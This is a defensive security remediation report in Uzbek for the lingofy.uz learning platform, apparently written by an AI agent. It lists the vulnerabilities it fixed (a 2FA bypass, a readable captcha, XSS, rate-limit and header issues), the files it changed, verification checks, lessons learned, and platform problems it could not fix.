Parol tiklash 2FA bypassCRIT Admin bloklandi + captcha + disk lockoutauthController.js
Captcha o'qilardiCRIT 7-segment shrift (<path>)captcha.js
Token roliga ishonishHIGH Rol bazadantestController.js
Asosiy saytda 9 ta XSSHIGH escapeHtml + global funksiyamain/main.js
showToast XSSHIGH Xabar escapeadmin.js
Rate limit email orqaliHIGH Faqat IPauthController.js
HSTS yo'qMEDmax-age=31536000admin/index.php
CSP unsafe-evalMEDOlib tashlandiadmin/index.php
X-Powered-ByLOWheader_removeadmin/*.php
IP gate bloklaganMED15 marta olib tashlandiadminRoutes.js

O'zgartirilgan fayllar

backend/src/controllers/authController.js    ← 2FA bypass bloklash, disk lockout, IP limit
backend/src/utils/captcha.js                ← 7-segment shrift
backend/src/controllers/testController.js   ← rol bazadan
backend/src/routes/authRoutes.js            ← requireCaptcha
backend/src/middlewares/admin.js            ← IP gate o'chirildi
backend/src/routes/adminRoutes.js           ← IP gate (1 marta)
backend/src/routes/knowledgeRoutes.js       ← IP gate (14 marta)
backend/src/utils/geminiApi.js              ← YANGI, proksi qo'llab-quvvatlash
backend/src/utils/geminiHealth.js           ← proksi yo'li
backend/src/ai/gemini_service.py            ← GEMINI_PROXY
backend/src/services/speakingScore.js       ← proksiga o'tkazildi
www/lingofy.uz/main/main.js                 ← 9 ta XSS
www/.admin-assets/admin.js                  ← showToast XSS
www/lingofy.uz/admin/index.php              ← HSTS, CSP
www/lingofy.uz/admin/serve.php              ← HSTS
www/lingofy.uz/admin/auth-cookie.php        ← header_remove
www/lingofy.uz/.htaccess                    ← /admin/index.html istisno
apps/www/admin-gate.js                      ← eski URL tuzatildi

Yakuniy tekshiruv

$ # login oqimi
token: 316 belgi                                    ✓
requires_2fa: true                                  ✓
2FA kod → {"success":true,"authenticated":true}     ✓
panel: 1                                            ✓
admin API: 200                                      ✓
asosiy sayt: 200                                    ✓

$ # zaifliklar yopilganmi
admin parol tiklash  → CAPTCHA_INVALID             ✓
captcha <text>      → 0/200                    ✓
soxta admin token     → correct_answer yo'q        ✓
XSS escape'siz        → 0                          ✓
IP gate izlari        → 0                          ✓

📌 Sakkiz asosiy saboqlar

  1. Kuchsiz qatlam kuchlisini almashtirmaydi. Parol tiklash yo'li 2FAni butunlay bekor qilgan edi.
  2. Token — tekshirilgan ma'lumot, ishonch emas. Rol va status har doim bazadan olinishi kerak.
  3. "Inson uchun qiyin" = bot uchun oson emas deb oylash xato. SVG, rasm, canvas — hammasi tahlil qilinadi. Yechim: javob matnda emas.
  4. Rate limit kaliti sezilarli narsaga bog'lanishi kerak. Kalit global bo'lsa → limiter global bo'lishi kerak.
  5. innerHTML = xavf, textContent = xavfsiz.
  6. Server hech qachon frontend'ga ishonmasligi kerak. 2FA, rollar, huquqlar — hammasi backend da.
  7. Rate limitni IP header orqali chetlab o'tish mumkin — faqat X-Real-IP localhost'dan ishonchli bo'lsa.
  8. Pentest — bu buzish emas. Bu — kalitni yo'qotib qolgandan oldin uning nuqsonlarini topish usuli.

🔧 Platforma masalalari (men tuzata olmayman)

1. PHP 7.4.33 — EOL. 2022‑yilning noyabrida hayotdan chiqdi, xavfsizlik yangilanishlari to'xtagan. CLI PHP 8.2, lekin veb PHP platforma tomonidan beriladi. → Hosting panelida 8.1+ ga ko'tarish yoki support ticket.

2. X-Powered-By butun saytda. Admin sahifalarida yopildi, lekin asosiy PHP front‑controller menim katalogimdan tashqarida.